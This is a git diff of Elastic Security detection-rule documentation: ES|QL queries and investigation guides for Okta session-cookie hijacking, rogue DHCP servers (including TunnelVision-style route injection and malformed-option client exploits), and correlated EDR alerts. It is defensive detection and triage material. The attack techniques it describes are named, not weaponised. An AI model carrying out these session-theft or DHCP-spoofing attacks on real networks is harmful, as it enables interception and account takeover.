https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://support.okta.com/help/s/article/session-hijacking-attack-definition-damage-defense?language=en_US +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Domain: SaaS +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: AiTM Phishing +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 312 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Device Token Hashes for Single Okta Session* + + +This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + +> **Note**: This is an ES|QL aggregation-based rule. Exceptions can be added on the original ECS or integration-related fields. We recommend using the indicators from the alert document to pivot into the raw events for analysis. + + +*Possible investigation steps:* + +- Use `okta.actor.alternate_id` and `okta.authentication_context.external_session_id` from the alert to pivot into the raw Okta system log events for the affected session. +- Review the source IPs (`okta.client.ip`) and ASN information (`source.as.organization.name`) to determine if the session was used from multiple distinct networks. + - Multiple ASNs or geolocations (`client.geo.country_name`, `client.geo.city_name`) within the same session strongly suggest session hijacking. +- Compare the `okta.debug_context.debug_data.dt_hash` values to identify the device token hashes associated with the session. + - A legitimate session should have a consistent device token hash. Multiple distinct hashes indicate the session cookie may have been replayed from a different device. +- Examine `okta.client.user_agent.raw_user_agent` and `okta.client.device` for inconsistencies that suggest different devices or browsers using the same session. +- Review `event.action` to understand what actions were performed during the session. + - Look for suspicious post-authentication activity such as admin console access, policy changes, or application assignment modifications. +- Check `okta.debug_context.debug_data.risk_level`, `okta.debug_context.debug_data.risk_reasons`, and `okta.debug_context.debug_data.behaviors` for Okta's own risk assessment of the session activity. +- Review the past activities of the actor(s) involved by checking their previous sessions and login patterns. + + +*False positive analysis:* + +- OAuth application integrations (e.g., backend services exchanging authorization codes for tokens) can generate multiple device token hashes per session due to the multi-step token grant flow. These typically involve `Okta-Integrations` user agents and known infrastructure IPs. +- Users switching between networks (e.g., VPN reconnects, WiFi to cellular transitions) may produce multiple source IPs for the same session, though the device token hash should remain consistent. +- Automated tools or scripts that interact with Okta APIs on behalf of a user may generate additional device token hashes. + + +*Response and remediation:* + +- If the alert shows multiple distinct ASNs or geolocations for the same session, immediately revoke all active sessions for the affected user via the Okta admin console. +- Reset the user's password and all active MFA factors. + - If MFA is not enabled, enforce MFA enrollment before allowing re-authentication. +- Review Okta system logs for any administrative or sensitive actions performed during the suspicious session window. +- If the session was used to access downstream applications, review those application logs for unauthorized activity. +- Check with the user to confirm whether they were actively using Okta during the alert time window. +- For recurring false positives from known integrations, add exceptions on `okta.actor.alternate_id` for the specific service account or application client ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta.system-* +| where + data_stream.dataset == "okta.system" and + not event.action in ( + "policy.evaluate_sign_on", + "user.session.start", + "user.authentication.sso" + ) and + okta.actor.alternate_id != "system@okta.com" and + okta.actor.alternate_id rlike "[^@\\s]+\\@[^@\\s]+" and + okta.authentication_context.external_session_id != "unknown" and + ( + okta.authentication_context.external_session_id IS NOT NULL and + okta.debug_context.debug_data.dt_hash IS NOT NULL and + okta.client.ip IS NOT NULL and + okta.client.user_agent.raw_user_agent IS NOT NULL + ) and + ( + okta.authentication_context.external_session_id != "-" and + okta.debug_context.debug_data.dt_hash != "-" and + okta.client.user_agent.raw_user_agent != "-" + ) +| stats + Esql.dt_hash_count_distinct = count_distinct(okta.debug_context.debug_data.dt_hash), + Esql.client_ip_count_distinct = count_distinct(okta.client.ip), + Esql.event_count = count(*), + Esql.first_event_time = min(@timestamp), + Esql.last_event_time = max(@timestamp), + Esql.dt_hash_values = values(okta.debug_context.debug_data.dt_hash), + Esql.event_action_values = values(event.action), + Esql.client_ip_values = values(okta.client.ip), + Esql.user_agent_values = values(okta.client.user_agent.raw_user_agent), + Esql.device_values = values(okta.client.device), + Esql.is_proxy_values = values(okta.security_context.is_proxy), + Esql.geo_country_name_values = values(client.geo.country_name), + Esql.geo_city_name_values = values(client.geo.city_name), + Esql.source_asn_number_values = values(source.`as`.number), + Esql.source_asn_org_name_values = values(source.`as`.organization.name), + Esql.threat_suspected_values = values(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = values(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = values(okta.debug_context.debug_data.risk_reasons), + Esql.behaviors_values = values(okta.debug_context.debug_data.behaviors), + Esql.device_fingerprint_values = values(okta.debug_context.debug_data.device_fingerprint), + Esql.risk_behaviors_values = values(okta.debug_context.debug_data.risk_behaviors), + Esql.request_uri_values = values(okta.debug_context.debug_data.request_uri) + by + okta.actor.alternate_id, + okta.authentication_context.external_session_id +| where + Esql.dt_hash_count_distinct >= 4 and + Esql.client_ip_count_distinct >= 2 +| keep Esql.*, okta.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc new file mode 100644 index 0000000000..18c5b57956 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-multiple-dhcp-servers-responding-to-the-same-transaction]] +=== Multiple DHCP Servers Responding to the Same Transaction + +Identifies two or more distinct DHCP servers sending an OFFER or ACK for the same transaction ID (xid) within a short window, indicating a rogue DHCP server racing the legitimate one to win the client's handshake. This is the rogue-DHCP / adversary-in-the-middle precondition (T1557.003) and is operating-system agnostic, since it keys only on server behavior observed on the wire. Winning the race lets an attacker intercept traffic via a hostile gateway/DNS, bypass a VPN (TunnelVision), or deliver a malformed response that exploits the client's DHCP parser for code execution. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-44815 +* https://nvd.nist.gov/vuln/detail/CVE-2024-3661 +* https://www.leviathansecurity.com/blog/tunnelvision +* https://nvd.nist.gov/vuln/detail/CVE-2018-5732 +* https://msrc.microsoft.com/update-guide + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Use Case: Threat Detection +* Use Case: Vulnerability +* Use Case: Network Security Monitoring +* Tactic: Credential Access +* Tactic: Execution +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple DHCP Servers Responding to the Same Transaction* + + +DHCP is plaintext UDP and fully visible to any sensor on the broadcast segment. A rogue server (or an injected response +on the victim's L2 broadcast domain) that answers a transaction the legitimate server already owns is the defining +precondition for DHCP-based adversary-in-the-middle and for malformed-option client exploits. This rule flags exactly +that: two or more distinct server source IPs producing an OFFER/ACK for one transaction ID inside the same 30-second +window, and is operating-system agnostic, since it keys only on server behavior observed on the wire. + + +*Possible investigation steps* + + +- Identify the server source IPs in `Esql.values_server_ips` and `Esql.values_server_identifiers`. Determine which is + the sanctioned DHCP server and which is unexpected. +- Locate the rogue server on the segment (switch CAM/ARP tables, port, VLAN). It is on the same broadcast domain as the + victim by definition. +- Inspect the rogue OFFER/ACK options for an oversized or malformed payload (the overflow trigger) and for hostile + configuration such as an attacker-controlled default gateway (option 3), DNS server (option 6), WPAD/proxy + auto-config (option 252), or classless static routes (option 121, TunnelVision-style VPN bypass). +- Identify the client(s) acquiring leases on the segment (any OS, including Windows, Linux, macOS, iOS, IoT) and review their + endpoint telemetry for DHCP client service crashes, unexpected route/DNS/gateway changes, or follow-on code execution. + Where the target OS and DHCP client are known, check whether they are unpatched for the relevant CVE (e.g. + CVE-2026-44815 on Windows, CVE-2018-5732 on ISC dhclient). + + +*False positive analysis* + + +- DHCP failover pairs (Microsoft or ISC) are designed so that, for a given transaction, only one peer answers; two + peers answering the same xid within 30 seconds is not normal failover behavior. If a known active-active or + load-balancing architecture genuinely does this, add its server IPs to an exception. +- DHCP relay agents forward responses but the relayed source is the relay, and a single server still owns each + transaction. Anycast/VIP DHCP designs that present multiple real backend IPs on the wire are rare and would be a known + architectural fact, which can be excepted by those IPs. + + +*Response and remediation* + + +- Remove the rogue DHCP server from the segment, then patch the affected client DHCP stacks (e.g. June 2026 Patch + Tuesday for CVE-2026-44815 on Windows, or the fixed ISC dhclient for CVE-2018-5732 on Linux/Unix). +- Enable DHCP snooping on managed switches and restrict DHCP server responses to authorized server ports/MACs as a + compensating control, which protects clients of every OS and also mitigates TunnelVision-style route injection. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic network_traffic (Packetbeat) integration capturing DHCP (UDP 67/68) on the broadcast +segment where clients acquire/renew leases, either Packetbeat running on the segment or a SPAN/mirror feeding it. A +sensor not on the same L2 broadcast domain (or not behind the relevant DHCP relay) will not observe competing OFFER/ACK +packets. + +Zeek is intentionally not supported: the zeek.dhcp data stream does not expose a transaction ID and aggregates a full +DORA exchange into one record, so the per-transaction server-count comparison cannot be expressed on it. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dhcpv4-*, packetbeat-* +| eval + message_type = TO_LOWER(COALESCE(network_traffic.dhcpv4.option.message_type, dhcpv4.option.message_type)), + Esql.transaction_id = COALESCE(network_traffic.dhcpv4.transaction_id, dhcpv4.transaction_id), + server_identifier = COALESCE(network_traffic.dhcpv4.option.server_identifier, dhcpv4.option.server_identifier) +| where message_type in ("offer", "ack") and Esql.transaction_id is not null and source.ip is not null +| eval Esql.time_window = DATE_TRUNC(30 seconds, @timestamp) +| stats + Esql.count_distinct_servers = COUNT_DISTINCT(source.ip), + Esql.values_server_ips = VALUES(source.ip), + Esql.values_server_identifiers = VALUES(server_identifier), + Esql.count_replies = COUNT(*) + by Esql.time_window, Esql.transaction_id +| where Esql.count_distinct_servers >= 2 +| keep Esql.transaction_id, Esql.time_window, Esql.count_distinct_servers, Esql.values_server_ips, Esql.values_server_identifiers, Esql.count_replies + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: DHCP Spoofing +** ID: T1557.003 +** Reference URL: https://attack.mitre.org/techniques/T1557/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-by-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-by-agent.asciidoc new file mode 100644 index 0000000000..afa38f001c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-by-agent.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-by-agent]] +=== Multiple Elastic Defend Alerts by Agent + +This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara/rules + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Elastic Defend Alerts by Agent* + + +Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-* metadata _id +| eval target_time_window = DATE_TRUNC(24 hours, @timestamp) +| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and + agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") +| stats Esql.alerts_count = COUNT(*), + Esql.event_code_distinct_count = count_distinct(event.code), + Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name), + Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256), + Esql.process_name_distinct_count = COUNT_DISTINCT(process.entity_id), + Esql.event_code_values = VALUES(event.code), + Esql.rule_name_values = VALUES(rule.name), + Esql.message_values = VALUES(message), + Esql.file_path_values = VALUES(file.path), + Esql.dll_path_values = VALUES(dll.path), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_parent_executable_values = VALUES(process.parent.executable), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_hash_sha256_values = VALUES(process.hash.sha256), + Esql.file_hash_sha256_values = VALUES(file.hash.sha256), + Esql.dll_hash_sha256_values = VALUES(dll.hash.sha256) by agent.id +| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2) +| keep agent.id, + Esql.alerts_count, + Esql.event_code_distinct_count, + Esql.rule_name_distinct_count, + Esql.message_values, + Esql.event_code_values, + Esql.rule_name_values, + Esql.process_executable_values, + Esql.process_parent_executable_values, + Esql.process_command_line_values, + Esql.file_path_values, + Esql.dll_path_values, + Esql.process_hash_sha256_values, + Esql.file_hash_sha256_values, + Esql.dll_hash_sha256_values + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-from-a-single-process-tree.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-from-a-single-process-tree.asciidoc new file mode 100644 index 0000000000..d563919bee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-from-a-single-process-tree.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-from-a-single-process-tree]] +=== Multiple Elastic Defend Alerts from a Single Process Tree + +Detects multiple Elastic Defend EDR alerts originating from the same process tree, indicating coordinated malicious activity. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/yara/rules +* https://github.com/elastic/protections-artifacts/tree/main/behavior + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Elastic Defend Alerts from a Single Process Tree* + + +Detects multiple Elastic Defend EDR alerts originating from the same process tree, indicating coordinated malicious activity. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different alerts that triggered. +- Examine the timeline of the alerts to understand the sequence of events and determine the root cause. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Security tools running on the host might generate multiple alerts from same process tree. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-* + +// process.Ext.ancestry is an array of all unique process IDs ancestors of the alert actor process ID +| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and + agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") and process.Ext.ancestry is not null + +// aggregate alerts by process.Ext.ancestry and agent.id +| stats Esql.alerts_count = COUNT(*), + Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name), + Esql.event_code_distinct_count = COUNT_DISTINCT(event.code), + Esql.process_id_distinct_count = COUNT_DISTINCT(process.entity_id), + Esql.message_values = VALUES(message), + Esql.user_name_values = VALUES(user.name), + Esql.threat_tactic_name_values = VALUES(threat.tactic.name), + Esql.threat_technique_name_values = VALUES(threat.technique.name), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_parent_executable_values = values(process.parent.executable), + Esql.file_path_values = VALUES(file.path), + Esql.file_hash_sha256_values = VALUES(file.hash.sha256), + Esql.process_hash_sha256_values = VALUES(process.hash.sha256), + Esql.dns_question_name_values = VALUES(dns.question.name) by process.Ext.ancestry, agent.id + +// filter for at least 3 unique process IDs and 2 or more alert types or rule names. +| where Esql.process_id_distinct_count >= 3 and (Esql.rule_name_distinct_count >= 2 or Esql.event_code_distinct_count >= 2) + +// keep unique values +| stats Esql.alert_names = values(Esql.message_values), + Esql.alerts_process_cmdline_values = VALUES(Esql.process_command_line_values), + Esql.alerts_user_names = VALUES(Esql.user_name_values), + Esql.alerts_mitre_tactics = values(Esql.threat_tactic_name_values), + Esql.alerts_mitre_techniques = VALUES(Esql.threat_technique_name_values), + Esql.alerts_process_parent_executable = values(Esql.process_parent_executable_values), + Esql.alerts_file_paths = VALUES(Esql.file_path_values), + Esql.alerts_file_hash_sha256 = VALUES(Esql.file_hash_sha256_values), + Esql.alerts_process_hash_sha256 = VALUES(Esql.process_hash_sha256_values), + Esql.alerts_dns_question_names = VALUES(Esql.dns_question_name_values) by agent.id +| keep Esql.*, agent.id + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-external-edr-alerts-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-external-edr-alerts-by-host.asciidoc new file mode 100644 index 0000000000..08feb7bb8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-external-edr-alerts-by-host.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-multiple-external-edr-alerts-by-host]] +=== Multiple External EDR Alerts by Host + +This rule uses alert data to determine when multiple external EDR alerts involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/detection-rules/blob/main/rules/promotions/external_alerts.toml + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Endpoint +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple External EDR Alerts by Host* + + +Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* +| WHERE event.dataset in ("crowdstrike.alert", "crowdstrike.falcon", "sentinel_one.alert", "sentinel_one.threat", "m365_defender.alert") and + host.id is not null and kibana.alert.risk_score > 21 and + not (event.module == "crowdstrike" and (kibana.alert.rule.name like "* at *" or kibana.alert.rule.name like "* on *" or kibana.alert.rule.name == "EICARTestFileWrittenWin")) and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| stats Esql.alerts_count = COUNT(*), + Esql.kibana_alert_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.process_executable_distinct_count = COUNT_DISTINCT(process.executable), + Esql.file_path_distinct_count = COUNT_DISTINCT(file.path), + Esql.process_command_line_distinct_count = COUNT_DISTINCT(process.command_line), + Esql.kibana_alert_risk_score_values = VALUES(kibana.alert.risk_score), + Esql.process_executable_values = VALUES(process.executable), + Esql.file_path_values = VALUES(file.path), + Esql.user_name_values = VALUES(user.name), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_parent_command_line_values = VALUES(process.parent.command_line), + Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name) by host.id, host.name, event.module +| where ( + // 3+ unique rules or processes + ( + Esql.kibana_alert_rule_name_distinct_count >= 3 or + (Esql.process_executable_distinct_count >= 3 and Esql.kibana_alert_rule_name_values == "External Alerts") + ) and + // and 2+ rules of different severity, or 1 high/critical severity rule + ( + Esql.kibana_alert_risk_score_distinct_count >= 2 or + Esql.kibana_alert_risk_score_values == 73 or + Esql.kibana_alert_risk_score_values == 99 + ) +) or + // or 5+ unique rules from the same host for 1+ path/command_line/process + (Esql.kibana_alert_rule_name_distinct_count >= 5 and Esql.alerts_count <= 50 and + (Esql.file_path_distinct_count >= 1 or Esql.process_command_line_distinct_count >= 1 or Esql.process_executable_distinct_count >= 1) +) +| KEEP event.module, host.id, host.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-followed-by-logon-success.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-followed-by-logon-success.asciidoc new file mode 100644 index 0000000000..ef53937b72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-logon-failure-followed-by-logon-success.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-multiple-logon-failure-followed-by-logon-success]] +=== Multiple Logon Failure Followed by Logon Success + +Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* 